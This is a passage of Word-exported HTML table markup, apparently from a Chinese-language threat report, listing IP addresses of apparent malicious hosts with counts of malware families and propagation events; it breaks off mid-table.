style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">194.145.227.21</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">64</span></p>\n </td>\n <td width=\"140\" nowrap=\"\" style=\"width:105.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"87\" nowrap=\"\" style=\"width:65.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">143</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">199.19.226.117</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">36</span></p>\n </td>\n <td width=\"140\" nowrap=\"\" style=\"width:105.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"87\" nowrap=\"\" style=\"width:65.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">434</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">185.243.56.167</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">27</span></p>\n </td>\n <td width=\"140\" nowrap=\"\" style=\"width:105.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"87\" nowrap=\"\" style=\"width:65.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">1,240</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">45.9.148.37</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">24</span></p>\n </td>\n <td width=\"140\" nowrap=\"\" style=\"width:105.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">4</span></p>\n </td>\n <td width=\"87\" nowrap=\"\" style=\"width:65.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">239</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:283.3pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"top\" style=\"width:106.1pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;\n mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"top\" style=\"width:92.15pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件家族</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"top\" style=\"width:3.0cm;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">传播次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">121.4.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">28<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">6,912<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">101.35</span><span lang=\"EN-US\">*.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">29<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">6,624<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">106.12.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">25<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">5,841<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">52.131. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">40<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">5,309<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">1.117.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n 